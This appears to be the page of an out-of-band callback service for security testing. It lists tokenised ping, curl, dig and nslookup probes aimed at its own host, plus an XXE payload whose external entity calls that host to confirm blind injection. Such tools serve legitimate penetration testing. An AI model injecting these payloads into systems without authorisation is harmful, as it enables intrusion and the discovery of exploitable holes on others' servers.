$ ping -c1 -p 00e231f70f8b083f7d563e72794a0400 unhack.ca
 
$ curl http://unhack.ca/p/e231f70f8b083f7d563e72794a04
 
$ dig e231f70f8b083f7d563e72794a04 @unhack.ca
 
$ dig e231f70f8b083f7d563e72794a04.ns.unhack.ca
 
C:\> nslookup e231f70f8b083f7d563e72794a04 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/e231f70f8b083f7d563e72794a04">]>
    <foo>&xxe;</foo>
 
Waiting for ping...